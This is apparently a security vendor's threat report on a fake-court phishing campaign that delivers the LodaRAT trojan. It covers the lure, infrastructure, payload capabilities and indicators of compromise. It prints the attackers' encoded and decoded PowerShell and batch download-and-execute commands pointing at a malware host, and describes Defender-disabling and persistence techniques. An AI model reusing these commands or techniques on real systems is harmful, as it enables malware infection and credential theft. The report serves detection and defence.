,

Fake court ADR phishing campaign distributes LodaRAT

A phishing campaign impersonating a U.S. federal court targets more than 100,000 companies and delivers LodaRAT, a commodity remote access trojan.

Executive summary

  • Attackers impersonating the United States District Court, Southern District of Florida, are running a phishing campaign that targets companies with personalized emails, each containing a unique Alternative Dispute Resolution (ADR) ID.
  • The emails redirect targets to a fake court ADR portal (florida[.]courtadr[.]com) that serves a password-protected ZIP archive containing an ISO with three differently disguised files.
  • All three files deliver the same LodaRAT payload, rebuilt under three names (SystemSettings.exe, Taskmgr.exe, and msedge.exe) served from us[.]wind0ws[.]net and beaconing to my[.]thispc[.]net:4000.
  • According to our research, more than 100,000 companies are targeted.
  • ThreatDown Endpoint Protection blocks the remote access trojan (RAT) samples and the campaign’s network communications.

Introduction

Our research team recently investigated a campaign that is using the florida[.]courtadr[.]com website to distribute a commodity RAT known as LodaRAT.

Phishing

Targets are approached through an email sent from Resolution@courtadr[.]com with the subject: Court-Ordered ADR Notice for <REDACTED> – ADR ID: <REDACTED>.

The content mimics a realistic document from the United States District Court, Southern District of Florida. The document refers to an ADR case involving the target company and invites the recipient to click a link to learn more about the case details. To look more legitimate, the message (as well as the subject) contains an ADR ID that appears to be a validly formatted civil case identifier (format: x:xx-cv-xxxxx-ADR). All the links contained in the message redirect to https[:]//florida[.]courtadr[.]com/search[.]php?ADR_ID=<ADR_ID> and are unique for each target, since each target has its own ADR ID forged by the attacker.

Here is an example of the email:

Figure 1: Contents of the phishing email, mimicking a document sent by the United States District Court, Southern District of Florida
Figure 1: Contents of the phishing email, mimicking a document sent by the United States District Court, Southern District of Florida

At the time of writing, the real Southern District of Florida court is aware of this phishing campaign and is alerting citizens through this official advisory.

Fake court ADR website

Once the target has clicked one of the links inside the email, a full website that pretends to be an official court-related ADR case portal is presented. The website only accepts Microsoft Edge as the browser.

The page in front of the target is personalized and reports details contained in the email message, such as company name, email contact address, and ADR ID. It invites the user to click the “Download Your Case File” button to obtain the “complete ZIP archive of your case file.”

Figure 2: Fake court ADR website, personalized with information belonging to the target and a button to download the case file
Figure 2: Fake court ADR website, personalized with information belonging to the target and a button to download the case file

To look realistic, the website has several pages containing a lot of court-related text and, more interestingly, has a search function, through which the user can find cases using ADR IDs. We tried several different ADR ID values and noticed that the scope of this campaign is large: according to our research, more than 100,000 companies are targeted. Each target has its own ADR ID and its own personalized page, but they all end up serving the same ZIP archive.

The archive, aka “your case file”

After clicking the button to download the case file, the target receives a ZIP archive (named after the associated ADR ID, for example, 7_26-cv-04501-ADR.zip), protected by a password. According to the website, the password is the associated ADR ID itself.

The archive contains a single ISO disk image file named Court_Order_for_ADR.iso.

Figure 3: The ISO file contained in the ZIP archive
Figure 3: The ISO file contained in the ZIP archive

After double-clicking this ISO file, a disk image with the label “Alternative Dispute Resolution A” is mounted, which contains three files:

  1. Court_Order_for_ADR.msc
  2. Original_Complaint.bat
  3. Supporting-lawsuit-documents.lnk
Figure 4: Contents of the ISO file
Figure 4: Contents of the ISO file

All three files, if double-clicked, will deliver a small variant of the same malicious payload. More details in the following sections.

Path 1: Microsoft Management Console file

If Court_Order_for_ADR.msc is double-clicked, an administrative snap-in (similar to services.msc) is executed by mmc.exe and shown on screen.

Figure 5: Administrative snap-in
Figure 5: Administrative snap-in

When the user clicks “Click Here to View Your ADR,” an instance of cmd.exe is spawned with this command line:

/c POweRSheLL -eX BYPAsS 	-nop 	-W HidDeN 	-EC IAAJAEkAbgB2AE8ASwBlAC0AcgBlAFMAdABtAGUAdABoAG8ARAAgAAkALQBVAHIASQAgAAkAKAAdIGgAdAB0AHAAcwA6AC8ALwB1AHMALgB3AGkAbgBkADAAHSAgACAAKwAgAB0gdwBzAC4AbgBlAHQALwBUAGEAHSAgACAAKwAgAB0gcwBrAB0gIAAgACsAIAAdIG0AZwAdICAAIAArACAAHSByAC4AHSAgACAAKwAgAB0gZQB4AB0gIAAgACsAIAAdIGUAHSAgACkAIAAJAC0ATwB1AFQARgBpAGwARQAgAAkAHSAkAGUATgB2ADoAQQBQAFAAZABhAHQAYQBcAFQAYQBzAGsAbQBnAHIALgBlAHgAZQAdICAAOwAgAAkAaQBOAFYAbwBLAGUALQBpAFQARQBNACAAHSAkAGUATgB2ADoAQQBwAHAARABhAFQAQQBcAFQAYQBzAGsAbQBnAHIALgBlAHgAZQAdIA==

Once decoded, the powershell.exe command is:

InvOKe-reStmethoD -UrI 	(https://us.wind0ws.net/Taskmgr.exe) -OuTFilE $eNv:APPdata\Taskmgr.exe; iNVoKe-iTEM $eNv:AppDaTA\Taskmgr.exe

A malicious payload called Taskmgr.exe is downloaded from us[.]wind0ws[.]net, dropped in the %APPDATA% folder, and executed immediately.

Path 2: Batch file

If Original_Complaint.bat is double-clicked, this command is executed by cmd.exe:

^d^E^v^i^C^e^C^R^e^d^E^N^t^i^A^l^D^E^p^L^o^Y^M^E^n^t^ & ^R^u^N^d^l^l^3^2^ ^i^N^E^t^c^p^L^.^c^p^L^ ^,^ ^C^l^e^a^r^M^y^T^r^a^c^k^s^B^y^P^r^o^c^e^s^s^ ^8^ && (eCHo devicecreDeNTIaldEPLoYMent ^& TIMeouT /T 7 /NObreak ^&^& TASkkILl.exe /F /IM RuNdLl32.exe) > %TMp%\wcUPX6UKGn6.BAt && ^s^T^A^r^T^ %TmP%\wcUPX6UKGn6.bat & ^r^u^n^d^L^L^3^2^.^e^x^E "%prOgrAmFILEs%\WiNDOWS phOto vIeweR\photoVIeWER.dll" , ImageView_Fullscreen https://us[.]wind0ws[.]net/SystemSettings.exe & ^F^O^R /F %%A In ( ' dir %lOcALappdATA%\MICroSoFt\wiNDOwS\inEtCacHe\IE\ /s /B ' ) do CoNhOSt %%A && ^d^e^l %Tmp%\wcUPX6UKGn6.Bat

Once the caret characters are removed, the functionality is revealed. We summarize the important parts here:

  • eCHo devicecreDeNTIaldEPLoYMent ^& TIMeouT /T 7 /NObreak ^&^& TASkkILl.exe /F /IM RuNdLl32.exe written to %TMP%\wcUPX6UKGn6.BAt and launched -> Shows a fake full-screen “Device Credential Deployment” dialog for 7 seconds, then force-kills the rundll32.exe helper process to clean up.
  • Rundll32 inetcpl.cpl , ClearMyTracksByProcess 8 -> Clears Internet Explorer’s cached temporary internet files.
  • rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll" , ImageView_Fullscreen https://us[.]wind0ws[.]net/SystemSettings.exe -> Downloads the SystemSettings.exe malicious payload into Internet Explorer’s cache.
  • FOR /F %%A In ('dir %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\ /s /b') do conhost %%A -> Finds the cached download and executes it via conhost.exe.

In this case the malicious payload is called SystemSettings.exe, downloaded once again from us[.]wind0ws[.]net and executed with conhost.exe.

Path 3: Shortcut file

If Supporting-lawsuit-documents.lnk is double-clicked, cmd.exe starts with this command line:

/C pOwErSheLL.EXe -Ex BYPASS  -nOp  -W hIDDeN -ec IABJAE4AdgBvAEsAZQAtAFcAZQBCAFIARQBxAFUARQBzAFQAIAAtAHUAUgBpACAACQAdIGgAdAB0AHAAcwA6AC8ALwB1AHMALgB3AGkAbgBkADAAdwBzAC4AbgBlAHQALwBtAHMAZQBkAGcAZQAuAGUAeABlAB0gIAAJAC0ATwB1AHQAZgBJAEwARQAgAB0gJABFAE4AVgA6AGEAUABwAEQAYQB0AGEAXABtAHMAZQBkAGcAZQAuAGUAeABlAB0gIAAJADsAIABJAG4AdgBPAGsARQAtAEkAdABlAE0AIAAdICQAZQBOAFYAOgBBAHAAUABEAEEAdABhAFwAbQBzAGUAZABnAGUALgBlAHgAZQAdIA==

Once decoded, the powershell.exe command is:

INvoKe-WeBREqUEsT -uRi https://us.wind0ws.net/msedge.exe -OutfILE $ENV:aPpData\msedge.exe; InvOkE-IteM $eNV:ApPDAta\msedge.exe

A malicious payload called msedge.exe is downloaded from us[.]wind0ws[.]net, dropped in the %APPDATA% folder, and executed immediately.

Delivery paths summary

PathFileTriggerPayloadExecuted via
1Court_Order_for_ADR.mscDouble-clickTaskmgr.exemmc.exe → cmd.exe → powershell.exe
2Original_Complaint.batDouble-clickSystemSettings.execmd.exe → rundll32.exe (download to IE cache) → conhost.exe
3Supporting-lawsuit-documents.lnkDouble-clickmsedge.execmd.exe → powershell.exe

All three payloads are downloaded from us[.]wind0ws[.]net.

LodaRAT analysis

An AutoIt3 RAT in the LodaRAT family was found deployed under three disguises: SystemSettings.exe, Taskmgr.exe, and msedge.exe. All were served from the same host. We analyzed the three binaries: they are the same full-featured, off-the-shelf remote access trojan rebuilt with different names, mutexes, campaign tags, and obfuscation passes.

SystemSettings.exeTaskmgr.exemsedge.exe
Source URLhttps://us[.]wind0ws[.]net/SystemSettings.exehttps://us[.]wind0ws[.]net/Taskmgr.exehttps://us[.]wind0ws[.]net/msedge.exe
SHA-256377959c943467a6c9e237d83401a07b9b58418670396e194e5ecd4f2d7a07aa51cd822b584795da0981798fd11958635deaccc72b50ba2a6c3e9981fa4f94c292b2cf3626f4d79fa2b10001f024b86677c63e2381f0923331924d26b1ee676ba
Mutex window titleVFGLJCZGRWIVRQBHYEAQTAXFBNCNBV
Beacon campaign tagCOURT-2026Court-ADRCOURT-ADR
Persistence token (Run/lnk/task/watchdog)PEEEPMJCHLLNYWRRFR

Shared across all three: family (LodaRAT lineage), C2 my[.]thispc[.]net:4000 (cleartext TCP), identical C2 command set, identical drop files, identical persistence and execution model, and the same 01.reg build artifact that disables Windows Defender via group policy.

Persistence

Each build installs the same four persistence mechanisms, differing only in the per-build token:

  • Self-copy to %APPDATA%\Windata\<self_copy_target>.exe
  • HKCU\...\Run key + Startup shortcut (PEEEPM / JCHLLN / YWRRFR)
  • A scheduled task re-running every minute
  • VBS watchdog (PEEEPM.vbs / JCHLLN.vbs / YWRRFR.vbs) that WMI-polls and respawns the process if killed, dropped in the %TEMP% folder

All three share the drop-in alternate names svwin1.exe / svwin2.exe.

Credential theft

A substantial theft suite, driven by embedded and C2-supplied libraries (identical in all builds):

  • Chromium browsers (Chrome/Edge/Opera/Brave): cookies parsed via an embedded SQLite DLL; saved passwords decrypted with DPAPI → AES-256-GCM
  • Firefox: raw exfiltration of logins.json, key4.db, cert9.db
  • FileZilla: recentservers.xml
  • Wi-Fi: keys via netsh wlan ... Key=Clear
  • Arbitrary DPAPI blobs supplied by the C2
  • A WebBrowserPassView-style drop-and-run (Pl2.exe /stext)

Surveillance and remote control

  • Keylogger plus regex-triggered screen capture writing into hidden %APPDATA%\Windata\mon\
  • Screen/window capture (configurable JPEG quality), webcam via escapi, microphone via BASS → MP3
  • Interactive shell, keystroke/mouse injection, full file manager (execute, copy, zip, download-and-execute, print), clipboard, chat GUI
  • UAC elevation of attacker-supplied VBS code

RDP, tunnels, and lateral movement

  • RDP enable + ngrok tunnel: creates an admin account, turns on RDP, opens port 3389 through nx.exe
  • Reverse SOCKS proxy via dropped Proxy_Client.dll
  • LAN propagation over TCP 445 using a dropped Etx.exe payload tool
  • USB spreader: moves files into a hidden folder, drops self as sx.exe with an autorun shortcut

C2 protocol

All three beacon over cleartext TCP to my[.]thispc[.]net:4000, reconnecting every 9 seconds with a 600-second idle timeout.

Inbound packets carry a ZeXro0 framing token (stripped before dispatch); commands are matched by per-feature string markers.

The outbound beacon is a single, complete pipe-separated packet of 14 fields (identical in all builds):

x | <campaign> | x | <user> | <os> | <arch> | <sp> | <AV> | <MAC> | ddd | Pr<H>X2<W>X3 | <Laptop/Desktop> | <mon subdirs> | beta

Concrete example:

x | COURT-ADR | x | alice | 11 | X64 |   | Windows Defender | AA0000112233 | ddd | Pr1080X21920X3 | Desktop | 2 | beta

Explanation of the various fields:

#FieldWhat it is
1xStatic stub placeholder.
2<campaign>Per-build tag: COURT-2026 or Court-ADR / COURT-ADR. Becomes “Admin” when elevated. The only field that differs between builds.
3xStatic stub placeholder.
4<user>Account name.
5<os>OS major version from ProductName (e.g., “10”, “11”).
6<arch>Architecture (e.g., “X64”).
7<sp>A literal single space, unused placeholder.
8<AV>AV product from WMI “SecurityCenter2”, or “No” / “Disabled”.
9<MAC>First active MAC address, colons stripped.
10dddLiteral framing marker.
11Pr<H>X2<W>X3Desktop resolution packed with literal delimiters: “Pr” + height + “X2” + width + “X3”, e.g., “Pr1080X21920X3”.
12<Laptop/Desktop>Machine class (battery present).
13<mon subdirs>Number of subfolders under “Windata\mon”.
14betaLiteral end-of-packet build marker.

The campaign field is the per-build switch: “COURT-2026” in the SystemSettings build, “Court-ADR” / “COURT-ADR” in the two other builds. It becomes “Admin” whenever the process is running elevated. The rest of the command marker set is identical across all three builds, confirming one builder / toolchain.

Most dangerous commands (markers shown):

CapabilityCommand marker
RDP enable + ngrok tunnel + admin userPDDIQ
LAN propagation on TCP 445Msstcvoo
Reverse SOCKS proxyRevprox87
Interactive shellCxM0D1\|
Browser cookie theftstealchromer / stealedge
Decrypt saved passwordsloxchrox / VETXXq1
Reboot + deep re-persistencePRVtpesertbe

Execution flow

  1. Anti-resubmission / Defender kill: exits if already running (unique mutex window title per build); if run from a non-legit name (Settings.exe / Task Manager.exe / Microsoft Edge.exe or the shared svwin1.exe / svwin2.exe), drops 01.reg with a random name, permanently disabling Windows Defender via group-policy keys (DisableAntiSpyware, DisableBehaviorMonitoring, DisableOnAccessProtection).
  2. Self-copy to %APPDATA%\Windata\<self_copy_target>.exe.
  3. Fingerprint: AV product, UAC level, OS, arch, resolution, laptop/desktop, MAC.
  4. Persistence: Startup shortcut, Run key, scheduled task, watchdog.
  5. C2 loop: beacon, then a TCPRecv / dispatch loop handling commands; the monitor/keylogger runs continuously.

Variants compared

SystemSettings.exeTaskmgr.exemsedge.exe
Mutex window titleVFGLJCZGRWIVRQBHYEAQTAXFBNCNBV
Beacon campaign tagCOURT-2026Court-ADRCOURT-ADR
Run key / Startup lnk / TaskPEEEPMJCHLLNYWRRFR
Watchdog VBSPEEEPM.vbsJCHLLN.vbsYWRRFR.vbs
Random “01.reg” dropTWIKJY.regLOTLSJ.regGBUWXP.reg
Self-copy target%APPDATA%\Windata\Settings.exe%APPDATA%\Windata\Task Manager.exe%APPDATA%\Windata\Microsoft Edge.exe

Family assessment

The three samples are squarely LodaRAT lineage: identical marker-driven cleartext C2 with a stripped ZeXro0 framing token, signature capability set: WebBrowserPassView password theft, ngrok / nx.exe RDP tunneling, SOCKS reverse proxy DLL, escapi webcam, BASS microphone, regex-driven monitor writing into Windata\mon, and VBS WMI watchdog. Finding the same command set and C2 across three differently disguised builds is the strongest evidence of a single operator / builder, with “COURT-ADR” / “COURT-2026” anchoring the current campaign.

Infrastructure

The campaign anchors on a roughly 20-year-old domain, courtadr[.]com, whose current operator took over TLS management on March 3, 2026, and batch-provisioned supporting subdomains by late April.

The phishing page, florida[.]courtadr[.]com (CyberPanel-OLS/2.5.0 behind Cloudflare), is cloaked: only Edge user-agents get real content. An unprotected sibling subdomain, support[.]courtadr[.]com (CyberPanel-OLS/2.4.4), resolves directly to the true origin server 67[.]217[.]49[.]66 (InterServer), where it runs a white-labeled Acelle Mail bulk-email platform on EOL PHP 7.4.33. This is likely the sender of the phishing emails.

The LodaRAT payloads (msedge.exe, SystemSettings.exe, and Taskmgr.exe) come from the typosquat us[.]wind0ws[.]net (GoDaddy since Sept. 5, 2023, CyberPanel-OLS/2.5.0), which redirects casual visitors to the real windows.com. This host runs the same CyberPanel version as the phishing page and shares identical Cloudflare nameservers with the thispc[.]net C2 domain; a single operator is running the whole chain.

The RAT’s C2 is my[.]thispc[.]net:4000 over a raw TCP socket, resolving directly to 207[.]148[.]77[.]235 on Vultr (Singapore).

Infrastructure timeline

  • March 3, 2026: the current operator began actively managing TLS for the root domain courtadr[.]com. This is the first concrete, dateable evidence of the takeover/compromise.
  • April 26-27, 2026: support[.]courtadr[.]com (Acelle Mail) and other subdomains received their first certificates within approximately 24 hours of each other. This is consistent with batch provisioning of the campaign’s supporting infrastructure.
  • July 30, 2026: florida[.]courtadr[.]com, the actual phishing landing page, received its first certificate.
  • Aug. 1-2, 2026: the RAT payloads were compiled and the ISO disk image was built, completing the chain.

Given that courtadr[.]com is roughly 20 years old with clear signs of infrastructure changes over time, it is reasonable (although unproven) that this domain was a legitimate, older website whose server was compromised and is now being reused without its original owner’s knowledge.

How ThreatDown protects

ThreatDown Endpoint Protection blocks the RAT samples. Detections appear as Backdoor.LodaRAT and Trojan.Crypt.AutoIt:

Figure 6: ThreatDown EP blocking the RAT payloads
Figure 6: ThreatDown EP blocking the RAT payloads

Endpoint Protection also blocks network communications to the phishing page, the RAT distribution server, and the RAT C2 server:

Figure 7: ThreatDown EP blocking the network communications
Figure 7: ThreatDown EP blocking the network communications

Conclusions

This campaign is a textbook example of modern social engineering: a convincing court-themed lure, a phishing website that personalizes itself for every target, and a sophisticated multi-layered delivery chain designed to evade detection at each step. Behind the polished facade, however, is a familiar threat: LodaRAT, an off-the-shelf remote access trojan reused and re-skinned across all three disguises we uncovered.

For defenders, two truths stand out. First, threat actors are now investing heavily in the front end of attacks (compromised domains, credible branding, personalized targeting) precisely because the back end (commodity malware) remains so cheap and effective. Second, relying on users to spot cleverly disguised phishing simply isn’t a strategy. The chain only needs to be broken once, and the best place to break it is at the endpoint.

That’s where ThreatDown comes in. ThreatDown Endpoint Protection detects and blocks these LodaRAT samples out of the box, flagging them as Backdoor.LodaRAT and Trojan.Crypt.AutoIt, and blocks the campaign’s network communications to the phishing page, distribution server, and C2 infrastructure before any damage is done.

Indicators of compromise

Network

IndicatorTypeNotes
courtadr[.]comDomainRoot domain of the phishing campaign
florida[.]courtadr[.]comDomainPhishing website
Resolution@courtadr[.]comEmailPhishing email sender address
support[.]courtadr[.]comDomainPhishing email sender domain
67[.]217[.]49[.]66IPPhishing email sender IP
us[.]wind0ws[.]netDomainLodaRAT distribution server
https://us[.]wind0ws[.]net/SystemSettings.exeURLLodaRAT download URL
https://us[.]wind0ws[.]net/Taskmgr.exeURLLodaRAT download URL
https://us[.]wind0ws[.]net/msedge.exeURLLodaRAT download URL
my[.]thispc[.]net:4000DomainC2 server domain
207[.]148[.]77[.]235IPC2 server IP

Filesystem

IndicatorTypeNotes
8d4d6808d9b88683149a8c6e2b33e4ed62587dfcfd32e6a6c60b087206141c88SHA-256Court_Order_for_ADR.iso
8934202a8b2c65b47fe178e97dccfa311ff0542a936e15fc81ff228ddfce2321SHA-256Court_Order_for_ADR.msc
18b7fb1ead8354847b95cdbb7e1fb655dac59c970ab88ff68afc82d37a5e0108SHA-256Original_Complaint.bat
8caaaf8451298f09c38fcf8e51e035bfcf2101b735d76b7bba2dddd4bbf1b9e2SHA-256Supporting-lawsuit-documents.lnk
377959c943467a6c9e237d83401a07b9b58418670396e194e5ecd4f2d7a07aa5SHA-256SystemSettings.exe (LodaRAT)
1cd822b584795da0981798fd11958635deaccc72b50ba2a6c3e9981fa4f94c29SHA-256Taskmgr.exe (LodaRAT)
2b2cf3626f4d79fa2b10001f024b86677c63e2381f0923331924d26b1ee676baSHA-256msedge.exe (LodaRAT)
PEEEPM, JCHLLN, YWRRFR“HKCU\…\Run” registry key + Startup shortcutLodaRAT payload persistence
PEEEPM.vbs, JCHLLN.vbs, YWRRFR.vbsFileLodaRAT payload VBS watchdog script
%APPDATA%\Windata\FolderLodaRAT payload self-copy folder
ThreatDown is ranked as a leader in EDR + MDR by G2
G2 Leader
Request demo

Sign up to get the latest threat intelligence.

Subscribe to newsletter
ThreatDown is ranked as a leader in EDR + MDR by G2
G2 Leader
Request demo